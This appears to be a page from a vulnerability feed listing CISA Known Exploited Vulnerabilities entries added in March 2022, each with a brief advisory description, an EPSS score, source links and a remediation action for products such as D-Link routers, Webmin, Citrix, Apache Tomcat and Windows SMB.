https://kevwire.com/record/CVE-2019-16920
D-Link Multiple Routers Command Injection Vulnerability (Mar 25, 2022).
Multiple D-Link routers contain a command injection vulnerability which can allow attackers to achieve full system compromise.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16920: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Webmin Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-15107
Webmin Command Injection Vulnerability (Mar 25, 2022).
An issue was discovered in Webmin. The parameter old in password_change.cgi contains a command injection vulnerability.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-15107: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix SD-WAN and NetScaler Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-12991
Citrix SD-WAN and NetScaler Command Injection Vulnerability (Mar 25, 2022).
Authenticated Command Injection in Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance.
EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-12991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix SD-WAN and NetScaler SQL Injection Vulnerability
https://kevwire.com/record/CVE-2019-12989
Citrix SD-WAN and NetScaler SQL Injection Vulnerability (Mar 25, 2022).
Citrix SD-WAN and NetScaler SD-WAN allow SQL Injection.
EPSS 94.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-12989: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2019-11043
PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability (Mar 25, 2022).
In some versions of PHP in certain configurations of FPM setup, it is possible to cause FPM module to write past allocated buffers allowing the possibility of remote code execution.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kentico Xperience Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2019-10068
Kentico Xperience Deserialization of Untrusted Data Vulnerability (Mar 25, 2022).
Kentico contains a failure to validate security headers. This deserialization can led to unauthenticated remote code execution.
EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-10068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins Matrix Project Plugin Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-1003030
Jenkins Matrix Project Plugin Remote Code Execution Vulnerability (Mar 25, 2022).
Jenkins Matrix Project plugin contains a vulnerability which can allow users to escape the sandbox, opening opportunity to perform remote code execution.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1003030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft GDI Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-0903
Microsoft GDI Remote Code Execution Vulnerability (Mar 25, 2022).
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
EPSS 21.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0903: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Shell Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-8414
Microsoft Windows Shell Remote Code Execution Vulnerability (Mar 25, 2022).
A remote code execution vulnerability exists when the Windows Shell does not properly validate file paths.
EPSS 72.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8414: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Scripting Engine Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2018-8373
Microsoft Scripting Engine Memory Corruption Vulnerability (Mar 25, 2022).
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer.
EPSS 61.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8373: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware SD-WAN Edge by VeloCloud Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-6961
VMware SD-WAN Edge by VeloCloud Command Injection Vulnerability (Mar 25, 2022).
VMware SD-WAN Edge by VeloCloud contains a command injection vulnerability in the local web UI component. Successful exploitation of this issue could result in remote code execution.
EPSS 85.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-6961: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### LG N1A1 NAS Remote Command Execution Vulnerability
https://kevwire.com/record/CVE-2018-14839
LG N1A1 NAS Remote Command Execution Vulnerability (Mar 25, 2022).
LG N1A1 NAS 3718.510 is affected by a remote code execution vulnerability.
EPSS 89.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-14839: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Tanzu Spring Data Commons Property Binder Vulnerability
https://kevwire.com/record/CVE-2018-1273
VMware Tanzu Spring Data Commons Property Binder Vulnerability (Mar 25, 2022).
Spring Data Commons contains a property binder vulnerability which can allow an attacker to perform remote code execution.
EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-1273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Quest KACE System Management Appliance Remote Command Execution Vulnerability
https://kevwire.com/record/CVE-2018-11138
Quest KACE System Management Appliance Remote Command Execution Vulnerability (Mar 25, 2022).
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance is accessible by anonymous users and can be abused to perform remote code execution.
EPSS 91.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-11138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Access Control System Java Deserialization Vulnerability
https://kevwire.com/record/CVE-2018-0147
Cisco Secure Access Control System Java Deserialization Vulnerability (Mar 25, 2022).
A vulnerability in Java deserialization used by Cisco Secure Access Control System (ACS) could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device. The vulnerability is due to insecure deserialization of user-supplied content by the affected software.
EPSS 18.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0147: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco VPN Routers Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-0125
Cisco VPN Routers Remote Code Execution Vulnerability (Mar 25, 2022).
A vulnerability in the web interface of the Cisco VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as root and gain full control of an affected system.
EPSS 55.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-0125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR DGN2200 Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2017-6334
NETGEAR DGN2200 Devices OS Command Injection Vulnerability (Mar 25, 2022).
dnslookup.cgi on NETGEAR DGN2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary OS commands
EPSS 72.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6334: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-6316
Citrix Multiple Products Remote Code Execution Vulnerability (Mar 25, 2022).
A vulnerability has been identified in the management interface of Citrix NetScaler SD-WAN Enterprise and Standard Edition and Citrix CloudBridge Virtual WAN Edition that could result in an unauthenticated, remote attacker being able to execute arbitrary code as a root user. This vulnerability also affects XenMobile Server.
EPSS 73.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-6316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS and IOS XE Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-3881
Cisco IOS and IOS XE Remote Code Execution Vulnerability (Mar 25, 2022).
A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-3881: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-12617
Apache Tomcat Remote Code Execution Vulnerability (Mar 25, 2022).
When running Apache Tomcat, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12617: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat on Windows Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-12615
Apache Tomcat on Windows Remote Code Execution Vulnerability (Mar 25, 2022).
When running Apache Tomcat on Windows with HTTP PUTs enabled, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12615: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SMB Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0146
Microsoft Windows SMB Remote Code Execution Vulnerability (Mar 25, 2022).
The SMBv1 server in Microsoft Windows allows remote attackers to perform remote code execution.
EPSS 89.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0146: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2016-7892
Adobe Flash Player Use-After-Free Vulnerability (Mar 25, 2022).
Adobe Flash Player has an exploitable use-after-free vulnerability in the TextField class.
EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7892: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-4171
Adobe Flash Player Remote Code Execution Vulnerability (Mar 25, 2022).
Unspecified vulnerability in Adobe Flash Player allows for remote code execution.
EPSS 20.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4171: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR Multiple WAP Devices Command Injection Vulnerability
https://kevwire.com/record/CVE-2016-1555
NETGEAR Multiple WAP Devices Command Injection Vulnerability (Mar 25, 2022).
Multiple NETGEAR Wireless Access Point devices allows unauthenticated web pages to pass form input directly to the command-line interface. Exploitation allows for arbitrary code execution.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-1555: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DCS-930L Devices OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2016-11021
D-Link DCS-930L Devices OS Command Injection Vulnerability (Mar 25, 2022).
setSystemCommand on D-Link DCS-930L devices allows a remote attacker to execute code via an OS command.
EPSS 69.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-11021: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-11021&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2016-10174
NETGEAR WNR2000v5 Router Buffer Overflow Vulnerability (Mar 25, 2022).
The NETGEAR WNR2000v5 router contains a buffer overflow which can be exploited to achieve remote code execution.
EPSS 83.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-10174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-10174&date=2026-10-25
CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
